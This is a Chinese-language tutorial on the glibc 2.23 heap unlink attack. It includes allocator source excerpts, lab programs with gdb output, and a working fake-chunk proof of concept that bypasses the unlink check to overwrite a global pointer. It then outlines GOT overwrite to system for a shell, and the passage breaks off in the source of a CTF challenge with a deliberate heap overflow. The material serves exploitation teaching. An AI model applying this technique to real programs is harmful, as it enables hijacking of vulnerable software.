前提介绍

  • unlink,俗称拖链,将unsorted_bin中的处于free状态的堆块脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(可以是向前合并或者向后合并),合并完之后再放入unsorted_bin中。
  • 漏洞产生的原因:offbynulloffbyone堆溢出,修改了堆块的p标志位
  • 在这里,建议先了解unlink的原理,和如何利用,再学习off_by_nulloff_by_one
  • 在本篇文章中会标注堆的高低地址,以便会更清晰的展现unlink的过程。

堆再介绍

  • 为了更快的获取堆内存空间,程序员设计了bins这个数据结构,这个数据结构就是用来更好的,更快速的管理堆、获得堆内存。
  • bins只是为了管理free之后的堆块
  • bins一共有136个bins:
    • unsorted bins
    • small bins
    • largebins
    • 他们的分布如下

image-20241011173552451

  • 接下来再贴上一个比较熟悉的图,接下来再详细介绍一下该堆块,这里再来介绍一下每个存储空间的具体含义:
    • prev_size:记录前一个堆块的大小

    • size:记录当前堆块的大小

    • NMP

      • NNON_MAIN_ARENA,表示当前 chunk 是否位于非主 arena 中(与多线程相关)如果为 1,表示该 chunk 位于非主 arena 中,通常在多线程环境中使用。如果为 0,表示该 chunk 位于主 arena 中,主 arena 是单线程或进程默认使用的堆区域。
      • MIS_MMAPPED,表示当前 chunk 是否通过 mmap 系统调用分配。如果为 1,表示该 chunk 是通过 mmap 分配的,这类 chunk 通常用于大块内存的分配,且释放时需要调用 munmap。如果为 0,表示该 chunk 是通过常规的 brk/sbrk 方式分配的。
      • PPREV_INUSE,表示前一个 chunk 是否已分配。如果为 1,表示前一个 chunk 已分配,无法与当前 chunk 合并。如果为 0,表示前一个 chunk 空闲,允许与当前 chunk 合并。
    • fdbk:是俩个指针,主要用来free堆块后,free的堆块被bin管理时,形成的链表的指针。

    • fdbkuser_data、以及下一个prev_size:在堆块被申请之后都是用来存放用户输入的是数据

image-20241011190657295

  • 下图是size所表示的堆块大小范围

image-20241011202013282

  • 知道了size所表示堆块大小的范围后,接下来就可以解释为什么会有NMP标志位了
  • 由于一个堆块至少包含了prev_sizesizefdbk
  • user_data可能会为0,当我们malloc(0x1)时,堆管理器会判断申请的堆块会不会满足fdbk、后一个prev_size内存空间能不能存放下去,如果能存放下去,则user_data是为0的。
  • prev_sizesizesize_t类型(无符号整数),在32位是4字节,64位8字节,fd、bk指针都一样32位4字节、64位8字节。这样32位的堆块size至少要0x10,64位堆块至少要0x20。并且堆块最后还会和8字节32字节对齐。
  • 从下图可以看到,size的最小3位都是0,都是空闲着不会改变,所以就将这3位合理利用起来,即将他们做为标志位
1
2
3
0x10--->0001 0000
0x18--->0001 1000
0x20--->0010 0000
  • 而这边的P位表示的是与当前堆块物理地址相邻的前一个堆块是否空闲还是在使用,这里p等于1就表示物理地址相邻的前一个堆块正在被使用(这里chunk1简单画了就没把user_data画出来)

image-20241011205533616

  • 当这物理地址相邻的俩个堆块P标志位都为0的情况下,这俩个堆块就会发生合并,俩个堆块合并成一个大堆块,并放在unsorted_bin这个链表里面

image-20241011205836889

  • 然后就会变成这样,合并还分为前向合并(堆块从前向后合并)和后向合并(堆块从后向前合并)

image-20241011211248415

  • main_arena:是结构体malloc_state的一个实例,下面是malloc_state结构体中内部具体的结构
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
  • 下面的代码就是定义并初始化main_arena
1
2
3
4
5
6
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
  • 这里面先使用gdb动态调试查看main_arena的结构
image-20241012142500861 image-20241012142511059
  • 下面用图介绍一下main_arena并给出一些在本题中比较重要的一些东西:
    • unlink过程主要脱的是bins中管理的堆块链表
    • 当unlink结束后新合成的堆块会与top_chunk的地址相连还会与top_chunk合并

image-20241012144414362

示例程序

  • 注:以下程序都是在64位环境下进行的

实验1

  • 对下面程序进行动态调试,思考以下问题
    • 申请的堆块释放后会被哪个bins管理?
    • p1和p2会发生合并吗?
    • p2和p3会发生合并吗?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

long long int a[100];

int main() {
long long int *p1 = malloc(0x100);
long long int *pp = malloc(0x100);
long long int *p2 = malloc(0x100);
long long int *p3 = malloc(0x100);
free(p1);
free(p2);
free(p3);
return 0;
}
# gcc -o unlink_64 unlink_64.c -fno-stack-protector -z execstack

分析1.1

  • 将可执行程序编译后,使用gdb动态调试,输入ni指令将程序执行到该语句

image-20241012004522203

  • 然后使用heap指令查看堆块,发现申请了四个堆块,四个堆块都在使用中

image-20241012004711018

  • 然后再使用ni指令,将程序运行到该处(第一个free之后,第二个free之前)

image-20241012004749460

  • 再使用heap -v指令查看,发现第一个被释放的chunk0被归入了unsortedbin里面

image-20241012005134304

  • 再使用ni指令运行到第二个free后,第三个free

image-20241012005407377

  • 再使用heap -v查看堆块,发现第二个被释放的堆块也被放入了unsortedbin,此时我们还发现第二个堆块(即Addr:0x1200110这个地址的堆块)的P位变成了0,表示了前一个堆块处于空闲

image-20241012005510377

  • 这时我们使用unsortedbin指令,查看unsortedbin,发现unsortedbin这个bin上有俩条链子,但是他们并没有合并,这里还要注意一点是unsortedbin是后进先出

image-20241012005749362

  • 接下来ni将程序执行到第三次free之后,再使用heap -v命令查看堆的状态,发现后俩个堆块被合并了,都合并到了Top chunk中,top chunkAddr也发生了改变

image-20241012010916091

  • 回答:
    • 这些堆块被释放后都会被unsortedbin管理
    • p1p2这俩个指针指向的堆块是不会合并的,只有物理地址相邻且空闲的堆块会被合并
    • p2p3这俩个指针指向的堆块是会合并的

补充1

  • 编译并调试该段代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<string.h>
#include<unistd.h>
long long int a[100];
int main(){
long long int *p1 = malloc(0x100);
long long int *pp = malloc(0x100);
long long int *p2 = malloc(0x100);
long long int *p3 = malloc(0x100);
long long int *p4 = malloc(0x100);
free(p1);
free(p2);
free(p3);
free(p4);
return 0;
}
// gcc -o lab_3 lab_3.c -fno-stack-protector -z execstack
  • 使用gdb动态调试,使用ni指令将程序运行到第二个free之后,第三个free之前,使用heap -v查看堆块

image-20241012083146668

  • 再使用ni指令将程序运行到第三个free之后,第四个free之前,再使用heap -v查看堆块,发现第三个申请的堆块和第四个申请的堆块在释放后被合并了,合并后也会被放入unsortedbin里面

image-20241012083613606

实验2

  • 查看分析glibc源码,并使用图描述unlink的过程,然后具体了解unlink的检查过程

  • Index of /gnu/glibc在该网站上找到glibc2.23,下载解压后在该目录glibc-2.23\malloc下找到malloc.c,搜索到unlink,查找到unlink这个宏定义,这段代码就是unlink的具体过程

image-20241012012121452

  • 这段代码是unlink的具体代码,也是unlink的具体逻辑,源码看不习惯,我稍微调整了一下位置(没有修改代码)

分析2.1

  • 其实我们初学只需要注意前8行即可,因为后面的是针对largebin这个更复杂一点的堆块结构的操作(稍微认真看一下源码就可以知道了),而且通过查看前8行的源码就会知道在unlink中只是进行了脱链的操作,并没有修改堆块的size位,而堆块的size位是在malloc_consolidate这个函数中所修改的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range(P->size)&& __builtin_expect (P->fd_nextsize != NULL, 0))
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);
if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
  • 接下来使用图简单描述一下unlink的过程,这里声明一下,unlink的过程是在chunk加入unsortedbin之前进行的,所以他们所以fd、bk指针都是根据物理地址的高低来指向的(建议自己动手画一遍就理解了,看别人画的图是比较乱的)
  • fd 指向当前 chunk 的下一个空闲块,通常是物理内存地址较高的那个块。
  • bk 指向当前 chunk 的上一个空闲块,通常是物理内存地址较低的那个块。
  • 当前 chunk 的 fd 指针会被设置为 NULL,表示没有后续的空闲块。
  • 当前 chunk 的 bk 指针会被设置为 NULL,表示没有前面的空闲块。
1
2
FD = P->fd
BK = P->bk

image-20241014003310634

  • 执行完
1
2
FD->bk = BK;							      
BK->fd = FD;

image-20241014003535459

  • 0
  • 我们再来查看unlink的第四行代码和第五行代码,
1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

也就是说在脱链之前,也就是说他会先检查下图红线加粗的链表是否指向要脱掉的链,就可以防止双向链表的破坏。防止FD中的bk指针被修改或者BK的fd指针被修改

image-20241014003748158

补充2

  • int_free的全部代码会在实验三的补充中给出,现在先来看看int_free中前向合并和后向合并的代码,在补充中的第162行到180行(这个必看,有助于后面的理解)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   /* consolidate backward */   /**/
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */ /*后向合并*/
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

  • 接下来查看malloc_consolidate这个函数的具体功能,这里聚焦到51-56行是合并前向块时更新size,合并后向块时更新size61-64行,这里有兴趣的话还可以看看第82行到第86行,这几行介绍的是合并后的堆块是 top chunk,则会更新 av->top 并设置新的大小:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;

/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/

if (get_max_fast () != 0) {
clear_fastchunks(av);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/

maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);

}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
}

实验3

  • 前提说明,glibc没办法判断这个位置是不是chunk,他是根据prev_sizesize确定堆块的,所以可不可以将某个fd、bk指针指向别的地址,然后申请堆块堆我们所构造的地址进行写呢?
  • 接下来编译运行实验代码查看运行结果,想一想为什么会这样,然后进行动态调试和画图进一步理解这一过程。
  • 再思考一下为什么要在申请的堆块中伪造一个堆块,利用现有的堆块难道不行吗?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

long long unsigned int* a[100];

int main()
{
long long unsigned int *p1, *p2, *p3, target;

target = (long long unsigned int)&a[5];
printf("target:%p\n%p\n%p\n",target,target - 0x18,target - 0x10);
a[0] = (void*)0x0;
a[1] = (void*)0x110;


malloc(0x20);
p1 = malloc(0x100);
p2 = malloc(0x100);
p3 = malloc(0x100);
a[5] = p1;
printf("beforefree:a[5]: %p\n",a[5]);
printf("p1: %p\n", p1);


p1[0] = 0x0; // prev_size
p1[1] = 0x101; // size


p1[2] = (long long unsigned int)(target - 0x18); // fd,指向目标地址
p1[3] = (long long unsigned int)(target - 0x10); // bk,指向目标地址


p2[-2] = 0x100; // prev_size
p2[-1] = 0x110; // size


free(p2);
printf("afterfree:a[5]: %p\n",a[5]);
return 0;
}
// gcc -o lab_7 lab_7.c -fno-stack-protector -z execstack -z norelro -fno-builtin

分析3.1

  • 使用gcc编译后先运行一下该程序,然后得到结果,然后思考一下为什么会得到该结果

image-20241013215207007

  • 接下来我们使用gdb进行动态调试,使用ni指令将程序运行到第四次malloc之后main+102

image-20241013215528177

  • 使用heap -v指令查看堆块,现在堆块还没有被修改
image-20241013215654890
  • 然后再使用ni指令,将程序运行到free之前的一个语句

image-20241013215912948

  • 然后再使用heap -v查看堆块,这回我们发现,我们在p1指向的堆块内容中伪造了一个堆块,然后修改了p2指向堆块的prev_sizesize

image-20241013215945611

  • 使用ni指令,再将程序运行到free之后

image-20241013220150378

  • 使用heap -v查看堆块,发现bk即伪造的size的值变成了0x211,说明进行了unlink并且还修改了size,而且fake_fdfake_bk(即图中fd_nextsizebk_nextsize)都指向了 0x7f3bc8f38b78(即main_arena+88)

image-20241013220334397

  • 接下来再使用bins命令查看,我们发现main_arena+88并不是0x9a9440而是0x9a9450即我们伪造的堆块开始的地址,这也说明了unlink

image-20241013220844649

  • 然后接下来再动态调试到
1
0x7f3ac4ad8fe0 <_int_free+640>   ✔ jne    _int_free+2048                <_int_free+2048>
  • 使用x/20gx 0x600b10-0x20unsortedbin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/20gx 0x600b10-0x20
0x600af0: 0x0000000000000000 0x0000000000000000
0x600b00 <a>: 0x0000000000000000 0x0000000000000000
0x600b10 <a+16>: 0x0000000000000000 0x0000000000000000
0x600b20 <a+32>: 0x0000000000000000 0x0000000000600b10
0x600b30 <a+48>: 0x0000000000000000 0x0000000000000000
0x600b40 <a+64>: 0x0000000000000000 0x0000000000000000
0x600b50 <a+80>: 0x0000000000000000 0x0000000000000000
0x600b60 <a+96>: 0x0000000000000000 0x0000000000000000
0x600b70 <a+112>: 0x0000000000000000 0x0000000000000000
0x600b80 <a+128>: 0x0000000000000000 0x0000000000000000
pwndbg> unsorted
unsortedbin
empty
  • 最后经过调试得到,a[5]的值在该语句附近会被改变,但是unsortedbin还是空的,所以是在链表放入unsortedbin之前被劫持的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   0x7f18ae011f71 <_int_free+529>     cmp    rbx, qword ptr [rdx + 0x10]
0x7f18ae011f75 <_int_free+533> jne _int_free+3034 <_int_free+3034>

0x7f18ae011f7b <_int_free+539> cmp qword ptr [rbx + 8], 0x3ff
0x7f18ae011f83 <_int_free+547> mov qword ptr [rax + 0x18], rdx
► 0x7f18ae011f87 <_int_free+551> mov qword ptr [rdx + 0x10], rax
0x7f18ae011f8b <_int_free+555> jbe _int_free+624 <_int_free+624>

pwndbg> bins
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

分析3.2

  • 接下来画图进行分析unlink的这个具体过程,首先先来说明一下unlink attack的具体条件

    • 需要有一个指向malloc所申请的堆块的指针,并且知道该指针的地址(chunk_ptr_addr)
    • 还要需要对指针地址前面地址可写即(chunk_ptr_addr-0x18),这样就可以做到绕过检查机制并实现unlink attack
  • 接下来画图解释(地址就以分析1中得到的地址为准),所做的伪造堆块的前提准备是这样的

image-20241014004015611

  • 然后当free(p2)时p2先进入unlink之前,堆块结构如下

image-20241014004313356

1
2
3
4
5
FD = P->fd
BK = P->bk
// 此时P为p2指向的堆块
// 由于是consolidate backward,所以在调用unlink前,P会被跟新为fake_chunk
// 故在unlink的时候P是指向fake_chunk的

image-20241014013509924

  • 此时检查机制就会被绕过,因为FDbk会指向P,然后BKfd也会指向P

image-20241014013530883

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  • 修改堆块执行完下面语句后就会出现a[5]就等于0x600b10即a[2]的地址,实验过程即为这些
1
2
FD->bk = BK;							      
BK->fd = FD;

image-20241014013758463

  • 在题目中往往会有一个指针数组用来存储对应结构体的指针,我们对堆块的增删改查都是利用这个指针数组里面存储的指针来进行操作的。
  • 所以我们就可以利用a[5]这个指针来修改a[2]a[3]a[4],甚至修改a[5]指针自己本身,这样我们就可以修改指针,使其指向任意地址
  • 这时我们把该地址修改成got表所在的地址,然后show一下将got表的值打印出来,这就会导致libc中的地址泄露。
image-20241014162108415 image-20241014162456843
  • 我们已经修改了指针的值为got表,那我们就可以利用修改后的指针,去修改got表的值,将其修改为system函数的地址。然后再构造一个/bin/sh即可getshell

image-20241014162706992

补充3

  • int_free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
mchunkptr nextchunk; /* next contiguous chunk */
INTERNAL_SIZE_T nextsize; /* its size */
int nextinuse; /* true if nextchunk is used */
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
mchunkptr bck; /* misc temp for linking */
mchunkptr fwd; /* misc temp for linking */

const char *errstr = NULL;
int locked = 0;

size = chunksize (p);

/* Little security check which won't hurt performance: the
allocator never wrapps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}

check_inuse_chunk(av, p);

/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/

if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {

if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
/* We might not have a lock at this point and concurrent modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock
|| ({ assert (locked == 0);
mutex_lock(&av->mutex);
locked = 1;
chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem;
}))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (! have_lock)
{
(void)mutex_unlock(&av->mutex);
locked = 0;
}
}

free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

set_fastchunks(av);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);

/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}

/*
Consolidate other non-mmapped chunks as they arrive.
*/

else if (!chunk_is_mmapped(p)) {
if (! have_lock) {
(void)mutex_lock(&av->mutex);
locked = 1;
}

nextchunk = chunk_at_offset(p, size);

/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely (p == av->top))
{
errstr = "double free or corruption (top)";
goto errout;
}
/* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av)
&& (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0))
{
errstr = "double free or corruption (out)";
goto errout;
}
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
}

nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))
{
errstr = "free(): invalid next size (normal)";
goto errout;
}

free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/

bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);
}

/*
If the chunk borders the current high end of memory,
consolidate into top
*/

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}

/*
If freeing a large space, consolidate possibly-surrounding
chunks. Then, if the total unused topmost memory exceeds trim
threshold, ask malloc_trim to reduce top.

Unless max_fast is 0, we don't know if there are fastbins
bordering top, so we cannot tell for sure whether threshold
has been reached unless fastbins are consolidated. But we
don't want to consolidate on each free. As a compromise,
consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
is reached.
*/

if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);

if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
if ((unsigned long)(chunksize(av->top)) >=
(unsigned long)(mp_.trim_threshold))
systrim(mp_.top_pad, av);
#endif
} else {
/* Always try heap_trim(), even if the top chunk is not
large, because the corresponding heap might go away. */
heap_info *heap = heap_for_ptr(top(av));

assert(heap->ar_ptr == av);
heap_trim(heap, mp_.top_pad);
}
}

if (! have_lock) {
assert (locked);
(void)mutex_unlock(&av->mutex);
}
}
/*
If the chunk was allocated via mmap, release via munmap().
*/

else {
munmap_chunk (p);
}
}

利用方法

题目1_level_1

  • 该题目来自hitconTraining_unlink
  • 本题编译环境要在glibc2.23下编译(ubuntu16.04),建议使用Docker环境进行编译和进行打
  • 附件:https://wwsq.lanzoue.com/iLpz32cj7opa 密码:7mka
  • 源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
// gcc bamboobox.c -o bamboobox
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct item{
int size ;
char *name ;
};

struct item itemlist[100] = {0};

int num ;

void hello_message(){
puts("There is a box with magic");
puts("what do you want to do in the box");
}

void goodbye_message(){
puts("See you next time");
puts("Thanks you");
}

struct box{
void (*hello_message)();
void (*goodbye_message)();
};

void menu(){
puts("----------------------------");
puts("Bamboobox Menu");
puts("----------------------------");
puts("1.show the items in the box");
puts("2.add a new item");
puts("3.change the item in the box");
puts("4.remove the item in the box");
puts("5.exit");
puts("----------------------------");
printf("Your choice:");
}


void show_item(){
int i ;
if(!num){
puts("No item in the box");
}else{
for(i = 0 ; i < 100; i++){
if(itemlist[i].name){
printf("%d : %s",i,itemlist[i].name);
}
}
puts("");
}
}

int add_item(){

char sizebuf[8] ;
int length ;
int i ;
int size ;
if(num < 100){
printf("Please enter the length of item name:");
read(0,sizebuf,8);
length = atoi(sizebuf);
if(length == 0){
puts("invaild length");
return 0;
}
for(i = 0 ; i < 100 ; i++){
if(!itemlist[i].name){
itemlist[i].size = length ;
itemlist[i].name = (char*)malloc(length);
printf("Please enter the name of item:");
size = read(0,itemlist[i].name,length);
itemlist[i].name[size] = '\x00';
num++;
break;
}
}

}else{
puts("the box is full");
}
return 0;
}



void change_item(){

char indexbuf[8] ;
char lengthbuf[8];
int length ;
int index ;
int readsize ;

if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
read(0,indexbuf,8);
index = atoi(indexbuf);
if(itemlist[index].name){
printf("Please enter the length of item name:");
read(0,lengthbuf,8);
length = atoi(lengthbuf);
printf("Please enter the new name of the item:");
readsize = read(0,itemlist[index].name,length);
*(itemlist[index].name + readsize) = '\x00';
}else{
puts("invaild index");
}

}

}

void remove_item(){
char indexbuf[8] ;
int index ;

if(!num){
puts("No item in the box");
}else{
printf("Please enter the index of item:");
